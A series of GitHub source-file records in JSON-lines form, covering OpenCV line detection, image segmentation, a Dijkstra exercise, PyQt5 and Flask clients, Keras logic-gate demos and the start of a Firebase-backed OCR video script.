LineDetector.__filterHorizontals(lines)\n\t\t\n\t\tlength = len(self._verticals)\n\t\ti = 0\n\t\twhile i < length:\n\t\t\tj = i+1\n\t\t\twhile j < length:\n\t\t\t\tif abs(self._verticals[i].perpDistance(self._verticals[j])) < self.minLineDistance:\n\t\t\t\t\tself._verticals.remove(self._verticals[j])\n\t\t\t\t\tlength -= 1\t\n\t\t\t\tj += 1\n\t\t\ti += 1\t\t\n\n\t\tlength = len(self._horizontals)\n\t\ti = 0\n\t\twhile i < length:\n\t\t\tj = i+1\n\t\t\twhile j < length:\n\t\t\t\tif abs(self._horizontals[i].perpDistance(self._horizontals[j])) < self.minLineDistance:\n\t\t\t\t\tself._horizontals.remove(self._horizontals[j])\n\t\t\t\t\tlength -= 1\t\n\t\t\t\tj += 1\n\t\t\ti += 1\n\n\t\tLine.horizontalTolerance = originalTolerances[0]\n\t\tLine.verticalTolerance = originalTolerances[1]\n\n\tdef xExtremes(self, lines):\n\t\t\"\"\"\n\t\t\tFunction returns the leftmost and rightmost vertical lines\n\n\t\t\tParameters\n\t\t\t——————————\n\t\t\tlines ———> list of all found lines (list of line objects)\n\n\t\t\t@return : list of two line objects\n\t\t\"\"\"\n\t\tleftmost = None\n\t\trightmost = None\n\t\tfor line in lines:\n\t\t\tif line.isVertical():\n\t\t\t\tif not leftmost or line.pts[0][0] < leftmost.pts[0][0] - 10:\n\t\t\t\t\tleftmost = line\n\n\t\t\t\tif not rightmost or line.pts[0][0] > rightmost.pts[0][0] + 10:\n\t\t\t\t\trightmost = line\n\n\t\treturn [leftmost, rightmost]\t\n\n\tdef yExtremes(self, lines):\n\t\t\"\"\"\n\t\t\tFunction returns the top and bottom horizontal lines\n\n\t\t\tParameters\n\t\t\t——————————\n\t\t\tlines ———> list of all found lines (list of line objects)\n\n\t\t\t@return : list of two line objects\n\t\t\"\"\"\n\t\ttopmost = None\n\t\tbottommost = None\n\t\tfor line in lines:\n\t\t\tif line.isHorizontal():\n\t\t\t\tif not topmost or line.pts[0][1] < topmost.pts[0][1] - 10:\n\t\t\t\t\ttopmost = line\n\n\t\t\t\tif not bottommost or line.pts[0][0] > bottommost.pts[0][0] + 10:\n\t\t\t\t\tbottommost = line\n\n\t\treturn [topmost, bottommost]\t\t\t\n\n\tdef run(self, frame):\n\t\t\"\"\"\n\t\t\tThis function does the following:-\n\t\t\t\t1- Creates the canny version of the frame\n\t\t\t\t2- Extracts all lines according to the specified algorithm\n\t\t\t\t3- Applies the desired filtering criterion\n\n\t\t\tParameters\n\t\t\t——————————\n\t\t\tframe ———> Workpiece frame\n\t\t\"\"\"\n\t\tcanny = LineDetector.__toCanny(frame)\n\t\t# Detection\n\t\tif self.__algorithm == LineDetector.HOUGH:\n\t\t\tresult = self.__houghAlgorithm(canny)\n\t\telif self.__algorithm == LineDetector.CONTOURS:\n\t\t\tcontours, hierarchy = cv2.findContours(canny, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\t\t\tresult = self.__contoursAlgorithm(contours, frame)\n\t\tprint(result)\n\t\tself.__eliminateRedundancies(result)\n\t\tprint(result)\n\t\t# Now you have the lines stored in self._horizontals and self._verticals\n\t\t# Filtering\n\t\t\n\t\tif self.__filtering != None:\n\t\t\tresult = []\n\t\t\tfor sequence in self._filtering:\n\t\t\t\tsequence_result = None\n\t\t\t\tfor criterion in sequence:\n\t\t\t\t\tif sequence_result is None:\n\t\t\t\t\t\tsequence_result = []\n\t\t\t\t\t\tsequence_result.extend(self.__horizontals)\n\t\t\t\t\t\tsequence_result.extend(self.__verticals)\n\t\t\t\t\n\t\t\t\t\tif criterion == LineDetector.XEXTREMES:\n\t\t\t\t\t\tsequence_result = self.xExtremes(sequence_result)\n\t\t\t\t\n\t\t\t\t\telif criterion == LineDetector.YEXTREMES:\n\t\t\t\t\t\tsequence_result = self.yExtremes(sequence_result)\n\n\t\t\t\t\telif criterion == LineDetector.VERTICALS:\n\t\t\t\t\t\tsequence_result = LineDetector.__filterVerticals(sequence_result)\n\n\t\t\t\t\telif criterion == LineDetector.HORIZONTALS:\n\t\t\t\t\t\tsequence_result = LineDetector.__filterHorizontals(sequence_result)\n\t\t\t\tresult.extend(sequence_result)\n\t\t\n\t\tif self.__quantity:\n\t\t\t\tresult = self.__filterByArea(result)\n\t\treturn result\n\n\tdef __filterVerticals(lines):\n\t\t\"\"\"\n\t\t\tFilter vertical lines\n\t\t\"\"\"\n\t\tif not lines:\n\t\t\treturn []\n\n\t\tresult = []\n\t\tfor line in lines:\n\t\t\tif line and line.isVertical():\n\t\t\t\tresult.append(line)\n\t\treturn result\n\n\tdef __filterHorizontals(lines):\n\t\t\"\"\"\n\t\t\tFilter horizontal lines\n\t\t\"\"\"\n\t\tif not lines:\n\t\t\treturn []\n\n\t\tresult = []\n\t\tfor line in lines:\n\t\t\tif line and line.isHorizontal():\n\t\t\t\tresult.append(line)\n\t\treturn result\n\n\tdef __filterByArea(self, lines):\n\t\t\"\"\"\n\t\t\tFilter lines by area\n\t\t\"\"\"\n\t\tlines.sort(key=getArea, reverse=True)\n\t\treturn lines[:self.__quantity]\n\nif __name__ == \"__main__\":\n\tcap = cv2.VideoCapture(\"http://localhost:8070/stream?topic=/robotech/robotech/cameraright/camera_image\")\n\n\twhile cap.isOpened():\n\t\t_, img = cap.read()\n\n\t\tDetector = LineDetector(LineDetector.HOUGH, [[LineDetector.XEXTREMES], [LineDetector.YEXTREMES]])\n\t\tlines = Detector.run(img)\n\t\tfor line in lines:\n\t\t\tif line:\n\t\t\t\tif line.isVertical():\n\t\t\t\t\tline.draw(img)\n\t\t\t\telse:\n\t\t\t\t\tline.draw(img)\n\n\t\tcv2.imshow('lol', img)\t\n\t\tkey = cv2.waitKey(20)\n\t\tif key == 27:\n\t\t\tbreak;","repo_name":"lawaty/CV-Libraries","sub_path":"line_detection.py","file_name":"line_detection.py","file_ext":"py","file_size_in_byte":9343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"74941036414","text":"try:\n import cv2\n import numpy as np\nexcept ImportError as e:\n from pip._internal import main as install\n packages = [\"numpy\", \"opencv-python\"]\n for package in packages:\n install([\"install\", package])\nfinally:\n pass\n\ndef warpPerspectiveImage():\n image = cv2.imread(\"cards.jpg\")\n width, height = 250,350\n pts1 = np.float32([[111,219],[287,188],[154,482],[352,440]])\n pts2 = np.float32([[0, 0], [width, 0], [0, height], [width, height]])\n matrix = cv2.getPerspectiveTransform(pts1, pts2)\n image_wrap = cv2.warpPerspective(image, matrix, (width, height))\n cv2.imshow(\"Phones\", image_wrap)\n cv2.waitKey(0)\n return cv2.destroyAllWindows()\nwarpPerspectiveImage()","repo_name":"CrispenGari/opencv-python","sub_path":"beginner/Open-Computer-Version-Chapter-5/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"} +{"seq_id":"35939082637","text":"import numpy as np\r\nfrom skimage import color\r\nfrom skimage import measure\r\nimport os, jpype\r\n\r\nEPS = 1e-15\r\n\r\n# The refinement stage of iteratively refined structural entropy.\r\ndef refinement_SE(adj, y=None):\r\n adj -= np.diag(np.diag(adj))\r\n tol = 1e-10\r\n max_iter = 300\r\n if y is None:\r\n n, k = adj.shape[0], 3\r\n y = np.random.randint(k, size=n)\r\n else:\r\n n, k = adj.shape[0], np.amax(y) + 1\r\n\r\n W = np.array(adj.copy(), dtype=np.float64)\r\n D = np.diag(np.sum(W, axis=-1, keepdims=False))\r\n S = np.eye(k)[y.reshape(-1)].astype(np.float64)\r\n volW = np.sum(W, dtype=np.float64)\r\n links = np.diagonal(np.matmul(np.matmul(S.T, W), S)).copy()\r\n degree = np.diagonal(np.clip(np.matmul(np.matmul(S.T, D), S), a_min=EPS, a_max=None)).copy()\r\n ses = (-links / volW) * np.log2(np.clip(degree, a_min=1e-10, a_max=None) / volW)\r\n z = y.copy()\r\n se = np.sum(ses)\r\n for iter_num in range(max_iter):\r\n for i in range(n):\r\n zi = z[i]\r\n links[zi] -= np.matmul(W[i,:], S[:,zi]) + np.matmul(S[:,zi].T, W[:,i])\r\n degree[zi] -= D[i,i]\r\n ses[zi] = (-links[zi]/volW) * np.log2(np.clip(degree[zi], a_min=1e-10, a_max=None)/volW)\r\n S[i,zi] = 0\r\n z[i] = -1\r\n\r\n links_new = links.copy()\r\n degree_new = degree.copy()\r\n links_new += np.matmul(W[i,:], S) + np.matmul(W[:, i].T, S)\r\n degree_new += D[i,i]\r\n ses_new = (-links_new/volW) * np.log2(np.clip(degree_new, a_min=1e-10, a_max=None)/volW)\r\n delta_ses = ses_new - ses\r\n\r\n opt_i = np.argmax(delta_ses)\r\n\r\n zi = opt_i\r\n z[i] = zi\r\n S[i,zi] = 1\r\n links[zi] = float(links_new[zi])\r\n degree[zi] = float(degree_new[zi])\r\n ses[zi] = float(ses_new[zi])\r\n if np.sum(ses) - se < tol:\r\n break\r\n se = np.sum(ses)\r\n return z\r\n\r\n# The merging stage of iteratively refined structural entropy.\r\ndef merging(adj, img_name, sp_scale=None):\r\n img_name = img_name.split('.')[0]\r\n if sp_scale == None:\r\n adj_path = f\"./{img_name}_adj.txt\"\r\n partition_path = f\"./{img_name}_partition.txt\"\r\n else:\r\n adj_path = f\"./{img_name}_{sp_scale}_adj.txt\"\r\n partition_path = f\"./{img_name}_{sp_scale}_partition.txt\"\r\n adj_path = os.path.abspath(adj_path)\r\n partition_path = os.path.abspath(partition_path)\r\n with open(adj_path, 'w') as f:\r\n f.write('{}\\n'.format(int(adj.shape[0])))\r\n for i in range(adj.shape[0]):\r\n for j in range(i + 1, adj.shape[1]):\r\n if adj[i, j] > 0:\r\n f.write('{}\\t{}\\t{}\\n'.format(int(i + 1), int(j + 1), adj[i, j]))\r\n Merging = jpype.JClass(\"algo.Merging\")\r\n Merging.main([adj_path, partition_path])\r\n if os.path.exists(adj_path):\r\n os.remove(adj_path)\r\n # read partition file\r\n y = np.zeros(adj.shape[0], dtype=int)\r\n with open(partition_path, 'r') as f:\r\n for comid, line in enumerate(f.readlines()):\r\n line = line.strip().split('\\t')\r\n for node in line:\r\n y[int(node) - 1] = comid\r\n if os.path.exists(partition_path):\r\n os.remove(partition_path)\r\n return y","repo_name":"zengguangjie/SLED","sub_path":"algo/iterative_refinement_SE.py","file_name":"iterative_refinement_SE.py","file_ext":"py","file_size_in_byte":3277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"7958162624","text":"import sys\nimport heapq\nsys.stdin = open('input.txt')\n\n# 가중치가 존재할때 최단경로를 찾는 알고리즘 - 다익스트라\n# 알고리즘에서는 heapq(최소힙)를 import해서 사용하여 간단하게 구현 가능\n# 코드구조는 BFS와 유사\n\nT = int(input())\n\nfor k in range(1, T + 1):\n N, E = map(int, input().split())\n temp = [list(map(int, input().split())) for i in range(E)] # [[s, e, w], ...]\n dist = [9999 for i in range(N + 1)] # 초기 모든 노드 가중치 무한대로 세팅\n v = [[] for i in range(N + 1)]\n for i in temp:\n v[i[0]].append([i[1], i[2]]) # 연결리스트는 단방향, 가중치를 함께저장\n\n # 시작노드 가중치 0으로 세팅하고 출발\n que = []\n heapq.heappush(que, [0, 0]) # 가중치, idx\n dist[0] = 0\n\n while que:\n d, cur = heapq.heappop(que) # 가중치중 가장 작은애를 뽑아, 시작~ 현재위치까지 쌓아온 가중치, cur이 현재위치\n\n if cur == N:\n print('#{} {}'.format(k, d))\n break\n\n if d > dist[cur]: # visited 대체\n continue\n\n # 현재 위치에서 갈 수 있는 위치들을 한번 보자\n # 만약에, 현재까지 쌓아온 가중치 + 현재에서 다음으로가는 가중치가 시작~다음위치까지 가는 가중치보다 작다면 업데이트\n for i in v[cur]:\n nd = dist[cur] + i[1]\n if dist[i[0]] > nd:\n dist[i[0]] = nd\n heapq.heappush(que, [nd, i[0]])\n","repo_name":"ggpp0909/problem_solving","sub_path":"Python/SWEA/1014/5251_최소이동거리/5251_최소이동거리.py","file_name":"5251_최소이동거리.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"35448593582","text":"import os\r\nimport urllib.request as req\r\nfrom urllib.parse import urlparse\r\n\r\n\r\ndef download(url, to=None):\r\n if to:\r\n localfile = to\r\n else:\r\n fname = os.path.basename(urlparse(url).path)\r\n localfile = os.path.join('.', fname)\r\n print(\"Downloading {}\".format(localfile))\r\n\r\n if not os.path.isfile(localfile):\r\n req.urlretrieve(url, localfile)\r\n\r\n return localfile\r\n","repo_name":"minimekill/BloodyTelevision","sub_path":"getter.py","file_name":"getter.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"21901734751","text":"from PyQt5.QtCore import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nimport requests\nimport socket\nfrom PyQt5 import uic\nfrom delete import Delete\nfrom new import Add\nfrom search import Search\nfrom update import Update \n\nimport sys\nimport time\n\nclass Menu(QMainWindow):\n\t\"\"\"docstring for tipo\"\"\"\n\tdef __init__(self,delete,search,add,update,ip,name):\n\t\t\n\t\tQMainWindow.__init__(self)\n\t\tuic.loadUi(\"Menu.ui\",self)\n\t\tself.setObjectName(\"window\")\n\t\tself.delete=delete\n\t\tself.search=search\n\t\tself.add=add\n\t\tself.update=update\n\t\tself.labelip.setText(name+\" estas conectado en \"+ip)\n\t\tself.botonbuscar.clicked.connect(self.opensearch)\n\t\tself.botonnuevo.clicked.connect(self.openadd)\n\t\tself.botonactual.clicked.connect(self.openupdate)\n\t\tself.botoneliminar.clicked.connect(self.opendelete)\n\t\t\n\t\twith open(\"style.css\") as f:\n\t\t\tself.setStyleSheet(f.read())\n\t\n\tdef opensearch(self):\n\t\tself.search.show()\n\tdef openadd(self):\n\t\tself.add.show()\n\tdef openupdate(self):\n\t\tself.update.show()\n\tdef opendelete(self):\n\t\tself.delete.show()\n\t\t\n\n\nname = socket.gethostname()\nr = requests.get('http://127.0.0.1:3000/get_my_ip', params={'hostname':str(name) })\napp=QApplication(sys.argv)\n_delete=Delete()\n_search=Search()\n_new=Add()\n_update=Update()\n_menu=Menu(_delete,_search,_new,_update,str(r.json()['ip']),name)\n_menu.show()\napp.exec_()","repo_name":"toodaniels/System-PyMovies","sub_path":"Clientes/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"35606378152","text":"#!/usr/bin/env python #\r\n# -*- coding: utf-8 -*- #\r\n# @Time : 2018-03-29 8:53 #\r\n# @author : xuejf #\r\n# @email :171521952@qq.com #\r\n# -------------------------- #\r\nfrom configparser import *\r\n\r\n\r\nclass ConfigFile ():\r\n #_in_data_dir = r'E:\\work\\auto_test2\\in_data'\r\n #_out_data_dir = r'E:\\work\\auto_test2\\out_data'\r\n _in_data_dir=\"\"\r\n _out_data_dir=\"\"\r\n def __init__(self):\r\n #print(\"enter __init__()\")\r\n cf = ConfigParser()\r\n cf.read(\"init.conf\", encoding=\"utf-8\")\r\n #secs = cf.sections()\r\n #print(secs)\r\n #opts = cf.options(\"base\")\r\n #kvs = cf.items(\"db\")\r\n # read by type\r\n if(self._in_data_dir.strip()==\"\"):\r\n self._in_data_dir = cf.get(\"base\", \"in_data_dir\")\r\n if(self._out_data_dir.strip()==\"\"):\r\n self._out_data_dir = cf.get(\"base\", \"out_data_dir\")\r\n #print(self._in_data_dir)\r\n #print(self._out_data_dir)\r\n\r\ncf=ConfigFile()\r\n\r\n","repo_name":"xuejf/auto-test","sub_path":"config/config_g.py","file_name":"config_g.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"25050078304","text":"from utils import token_required\nimport db\nfrom flask import request\nfrom sqlalchemy import Table, MetaData\nfrom sqlalchemy.exc import OperationalError, DataError, IntegrityError\nfrom flask_cors import cross_origin\nfrom . import handler\n\n\n@handler.route(\"/create\", methods=[\"POST\"])\n@cross_origin()\n@token_required\ndef create_table_data():\n data = request.get_json()\n table = data.get(\"table\")\n if table not in db.get_tables_in_db():\n return {\"error\": \"Table does not exist\"}, 400\n row = data.get(\"row\")\n db.clean_data(row, table)\n current_table = Table(table, MetaData(), autoload_with=db.engine)\n try:\n db.engine.execute(current_table.insert(), row)\n db.session.commit()\n return {\"message\": \"Successfully Created\"}, 200\n except (OperationalError, DataError, IntegrityError) as e:\n return {\"error\": \"Failed to create row, {0}\".format(e.orig)}, 400\n","repo_name":"agzuniverse/Chathuram","sub_path":"src/server/handlers/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"79"} +{"seq_id":"36360541238","text":"# 최소직사각형\n# 각 w, h를 비교해서 둘 중 큰 값을 한 리스트에 넣고 나머지를 리스트로 만든다. 두 개의 리스트 중 가장 큰 값을 뽑아서 곱하면 된다.\n\n# w, h 리스트를 만든다.\n# for문을 돌면서 w, h 중 큰 값은 w리스트 작은 값은 h리스트에 담는다.\n# 두 개의 리스트에서 가장 큰 값이 곱한 값이 답이다.\n\n#1\ndef solution(sizes):\n return max(max(x) for x in sizes) * max(min(x) for x in sizes)\n#2\nsolution = lambda sizes: max(sum(sizes, [])) * max(min(size) for size in sizes)\n#3\ndef solution(sizes):\n answer = 0\n \n sizes = [sorted(size, reverse=True) for size in sizes]\n \n widths = [size[0] for size in sizes]\n heights = [size[1] for size in sizes]\n \n width, height = max(widths), max(heights)\n \n answer = width * height\n \n return answer\n","repo_name":"BBstudyFighting/algorithm","sub_path":"18주차/SUYEON/SQL/programmers_coding test9.PY","file_name":"programmers_coding test9.PY","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"79"} +{"seq_id":"732868355","text":"#!/usr/bin/env python\nimport pandas as pd\nimport numpy as np\n\nimport stats_feature as sf\nimport cross_feature as cf\n\ndef itera(dcols):\n for key, val in dcols.items():\n print(key, val)\n\n##### load the train file into a dataframes ##### \ndf = pd.read_csv('./LoanStats3b.csv', header=1, low_memory=False) \n# delete last two rows\nnlines = len(df)\ndf = df.drop(df.index[[nlines-2, nlines-1]])\n\n##### feature visualization #####\n\ncols = df.columns.tolist()\ndict_cols = {}\nfor icol in range(len(cols)):\n dict_cols[icol] = cols[icol] \n\nitera(dict_cols)\nscol = input('Feature to Visualize [1-51], [-1]->Exit: ')\nwhile (scol != -1):\n sf.vis_feature(df[cols[scol]])\n scol = input('Feature to Visualize [1-51], [-1]->Exit: ') \n\n\nindex_train = (df['loan_status'] == 'Fully Paid') | (df['loan_status'] == 'Charged Off')\ntrain_set = df[index_train]\n\nscol = input('Feature to Couple with Loan Status [1-51], [-1]->Exit: ')\nwhile (scol != -1):\n cf.cross_hist(train_set[cols[scol]], train_set[cols[16]])\n scol = input('Feature to Visualize [1-51], [-1]->Exit: ') \n\n\n","repo_name":"jaurora/MachineLearning","sub_path":"LendingClub/Q1.py","file_name":"Q1.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"13983536663","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# AUTHOR: Ti Bai\n# EMAIL: tibaiw@gmail.com\n# AFFILIATION: MAIA Lab | UT Southwestern Medical Center\n# DATETIME: 9/22/2022\n\n# sys\nimport os\nimport shutil\n\n# monai\nfrom monai.apps.auto3dseg import (\n DataAnalyzer,\n BundleGen,\n AlgoEnsembleBestN,\n AlgoEnsembleBuilder,\n export_bundle_algo_history,\n import_bundle_algo_history,\n)\nfrom monai.auto3dseg import algo_to_pickle\nfrom monai.bundle.config_parser import ConfigParser\n\n\nif __name__ == '__main__':\n ### setup the experiement parameters\n is_data_analysis = False \n need_customized_train_params = False\n\n data_root = r'./data'\n datalist_file = r'./data/task1_AMOS.json'\n result_dir = r'result'\n dataset_name = 'MONAI'\n\n num_fold = 5\n model_name = ['segresnet'] # choose from [\"segresnet_small\", \"segresnet\", \"segresnet2d\", \"dints\", \"swinunetr\"]\n template_path = r'assets/algorithm_templates'\n task = 'segmentation'\n modality = 'CT'\n is_ensemble = False ##### ALWAYS SET IT AS FALSE UNLESS YOU REVISE THIS SCRIPT!!!\n\n train_param = {}\n if need_customized_train_params:\n train_data_size = 100\n num_iterations = 100000\n num_images_per_batch = 1\n num_iterations_per_validation = 1000\n train_param = {\n \"num_iterations\": num_iterations,\n \"num_iterations_per_validation\": num_iterations_per_validation,\n \"num_images_per_batch\": num_images_per_batch,\n \"num_epochs\": num_iterations // (train_data_size // num_images_per_batch),\n \"num_warmup_iterations\": int(0.01 * num_iterations),\n }\n\n # step 0: prepare the environment\n if not os.path.isdir(result_dir):\n os.makedirs(result_dir)\n\n data_src_cfg = {\n \"name\": dataset_name,\n \"task\": task,\n \"modality\": modality,\n \"datalist\": datalist_file,\n \"dataroot\": data_root,\n }\n input = os.path.join(result_dir, 'input.yaml')\n ConfigParser.export_config_file(data_src_cfg, input)\n\n datastats_file = os.path.join(result_dir, 'data_stats.yaml')\n\n # step 1: Data Analysis\n print('Step 1: Analyzing the dataset and saving the results to {} ...'.format(datastats_file))\n if is_data_analysis:\n analyser = DataAnalyzer(datalist_file, data_root, output_path=datastats_file)\n datastat = analyser.get_all_case_stats()\n\n # step 2: Algorithm Generation (algo_gen)\n print('Step 2: Generating the algorithm based on template from {} and saving the results to {} ...'.format(template_path, result_dir))\n if not os.path.exists(os.path.join(result_dir, 'algorithm_templates')):\n shutil.copytree(template_path, os.path.join(result_dir, 'algorithm_templates'))\n default_algos = {\n \"segresnet_small\": dict(_target_=\"segresnet_small.scripts.algo.SegresnetAlgo\",\n template_path=os.path.join(result_dir, \"algorithm_templates\", \"segresnet_small\")),\n \"segresnet\": dict(_target_=\"segresnet.scripts.algo.SegresnetAlgo\",\n template_path=os.path.join(result_dir, \"algorithm_templates\", \"segresnet\")),\n \"segresnet2d\": dict(_target_=\"segresnet2d.scripts.algo.Segresnet2dAlgo\",\n template_path=os.path.join(result_dir, \"algorithm_templates\", \"segresnet2d\")),\n \"dints\": dict(_target_=\"dints.scripts.algo.DintsAlgo\",\n template_path=os.path.join(result_dir, \"algorithm_templates\", 'dints')),\n \"swinunetr\": dict(_target_=\"swinunetr.scripts.algo.SwinunetrAlgo\",\n template_path=os.path.join(result_dir, \"algorithm_templates\", 'swinunetr'))\n }\n\n used_algorithms = {x: default_algos[x] for x in model_name if x in default_algos}\n\n bundle_generator = BundleGen(\n algo_path=result_dir,\n algos=used_algorithms,\n data_stats_filename=datastats_file,\n data_src_cfg_name=input,\n )\n\n bundle_generator.generate(result_dir, num_fold=num_fold)\n\n # Getting and Saving the history to hard drive\n history = bundle_generator.get_history()\n export_bundle_algo_history(history)\n\n # step 3: generate the train command\n print('Step 3: Generating the training command ...')\n #history = import_bundle_algo_history(result_dir, only_trained=False)\n for task in history:\n current_command = 'python '\n for current_algorithm_name, _ in task.items():\n current_algorithm_folder = os.path.join(result_dir, current_algorithm_name)\n current_train_script = os.path.join(current_algorithm_folder, 'scripts', 'train.py')\n current_command += current_train_script + ' run --config_file='\n\n all_config_files = []\n for current_config_file in os.listdir(os.path.join(current_algorithm_folder, 'configs')):\n current_config_file = os.path.join(current_algorithm_folder, 'configs', current_config_file)\n all_config_files.append(f\"'{current_config_file}'\")\n\n current_command += '\"[' + ','.join(all_config_files) + ']\"'\n\n for k, v in train_param.items():\n current_command += f\" --{k}={v}\"\n\n with open(f'{current_algorithm_name}.sh', 'w') as f:\n f.write('export CUDA_VISIBLE_DEVICES=your_device_id' + '\\n')\n f.write(current_command)\n\n # step 4: run the command\n print('Step 4: Please set the GPU device id (if necessary) and run the training script ...')\n\n # step 5: ensemble\n if is_ensemble:\n print('Step 5: Ensembling the result ...')\n history = import_bundle_algo_history(result_dir, only_trained=True)\n builder = AlgoEnsembleBuilder(history, input)\n builder.set_ensemble_method(AlgoEnsembleBestN(n_best=5))\n ensembler = builder.get_ensemble()\n preds = ensembler()\n\n print('Congrats! May the force be with you ...')\n","repo_name":"baiti01/Auto3DSeg-monai","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5878,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"79"} +{"seq_id":"41980222932","text":"from flask import Flask, render_template\nimport sqlalchemy\n\napp = Flask(__name__)\n\nengine = sqlalchemy.create_engine('mysql+pymysql://@127.0.0.1/game_recommendation?charset=utf8mb4')\n\n\n@app.route('/')\n@app.route('/index')\ndef index():\n return \"Hello, World !\\n\\nAppend /recommendation/ to the current \" \\\n \"url\\n\\nSome available userids 76561197960355015, 76561197960385706\"\n\n\n@app.route('/recommendation/')\ndef recommendation(user_id):\n # retrieve recommendation for 'user_id'\n results = engine.execute('''\n SELECT g0, g1, g2, g3, g4, g5, g6, g7, g8, g9 FROM tbl_recommendation_games WHERE user_id=%s;\n ''' % user_id).first()\n\n lst_recommend_games = []\n for app_id in list(results):\n app_data = engine.execute('''\n SELECT name, initial_price, header_image FROM tbl_steam_app WHERE steam_appid=%s;\n ''' % app_id).first()\n if app_data != None:\n lst_recommend_games.append(app_data)\n\n return render_template('recomendation.html', user_id=user_id, lst_recommend_games=lst_recommend_games)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"jianleisun/recommendation_system_project","sub_path":"rs_flask_web_application.py","file_name":"rs_flask_web_application.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"6614698614","text":"import tensorflow as tf\nfrom keras import layers\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nX = np.array([[0, 0],\n [0, 1],\n [1, 0],\n [1, 1]], dtype=np.float32)\ny_and = np.array([[0], [0], [0], [1]], dtype=np.float32)\ny_or = np.array([[0], [1], [1], [1]], dtype=np.float32)\n\nx_and = layers.Input(shape = (2,))\nout_and = layers.Dense(units = 1, activation = 'sigmoid', name = 'and')(x_and)\n\nx_or = layers.Input(shape = (2,))\nout_or = layers.Dense(units = 1, activation = 'sigmoid', name = 'or')(x_or) # output unit이 1\n\nmodel = tf.keras.Model(inputs = [x_and, x_or], outputs = [out_and, out_or])\nmodel.summary()\n\nopt = tf.keras.optimizers.RMSprop(learning_rate=0.1)\nmodel.compile(optimizer=opt, loss='mse', metrics=['accuracy'])\n\n\nret = model.fit(x = [X, X], y = [y_and, y_or], epochs=100, batch_size=4, verbose=0)\ntest = model.evaluate(x = [X, X], y = [y_and, y_or], verbose=0)\n\nprint('total loss = ', test[0])\nprint('AND : loss = {}, acc = {}'.format(test[1], test[3]))\nprint('OR : loss = {}, acc = {}'.format(test[2], test[4]))\n\nplt.plot(ret.history['loss'], 'r--', label = 'loss')\nplt.plot(ret.history['and_loss'], 'g--', label = 'and_loss')\nplt.plot(ret.history['or_loss'], 'b--', label = 'or_loss')\nplt.plot(ret.history['and_accuracy'], 'g-', label = 'and_accuracy')\nplt.plot(ret.history['or_accuracy'], 'b-', label = 'or_accruacy')\nplt.xlabel('epochs')\nplt.ylabel('loss and accuracy')\nplt.legend(loc='best')\nplt.show()","repo_name":"YeDongVibe/Tensorflow_Class","sub_path":"P.Song/FunctionalAPI/FunctionalAPI(AND,OR).py","file_name":"FunctionalAPI(AND,OR).py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"29778955905","text":"import os\nimport argparse\nimport cv2\nimport numpy as np\nimport sys\nimport time\nfrom threading import Thread\nimport importlib.util\nimport pytesseract\npytesseract.pytesseract.tesseract_cmd = r\"C:\\Users\\emielyn\\AppData\\Local\\Programs\\Tesseract-OCR\\tesseract.exe\"\nimport pyrebase\nfrom datetime import date\nfrom datetime import datetime\nimport imutils\nimport Levenshtein\n\nfrom mmocr.apis import TextRecInferencer\ninferencer = TextRecInferencer(model='SATRN', weights=r'C:\\Users\\emielyn\\mmocr\\best_IC15_recog_word_acc_epoch_77.pth')\n\n# Initialize the Firebase app with your service account credentials\n\nfirebaseConfig = {\n \"apiKey\": \"AIzaSyB_4cNoh3klH4mKPSd7dhJzr5QUGoLihy8\",\n \"authDomain\": \"scanmemaster-9da58.firebaseapp.com\",\n \"projectId\": \"scanmemaster-9da58\",\n \"databaseURL\" : \"https://scanmemaster-9da58-default-rtdb.firebaseio.com/\",\n \"storageBucket\": \"scanmemaster-9da58.appspot.com\",\n \"messagingSenderId\": \"270970295536\",\n \"appId\": \"1:270970295536:web:02ecd24ee665578e6d9e35\",\n \"measurementId\": \"G-27WEKS22GB\"\n}\n\nfirebase = pyrebase.initialize_app(firebaseConfig)\ndb = firebase.database()\n\nclass VideoStream:\n \"\"\"Camera object that controls video streaming from the Picamera\"\"\"\n def __init__(self, resolution=(420, 480), framerate=30):\n self.stream = cv2.VideoCapture(\"newCamVid1.mp4\")\n ret = self.stream.set(cv2.CAP_PROP_FOURCC, cv2.VideoWriter_fourcc(*'MJPG'))\n ret = self.stream.set(3, resolution[0])\n ret = self.stream.set(4, resolution[1])\n\n # Get the first frame to determine its shape\n _, self.frame = self.stream.read()\n self.original_frame = self.frame.copy() # create a copy of the original frame\n self.output_width = 650\n self.output_height = int(self.frame.shape[0] / (self.frame.shape[1] / self.output_width))\n\n self.stopped = False\n\n def start(self):\n 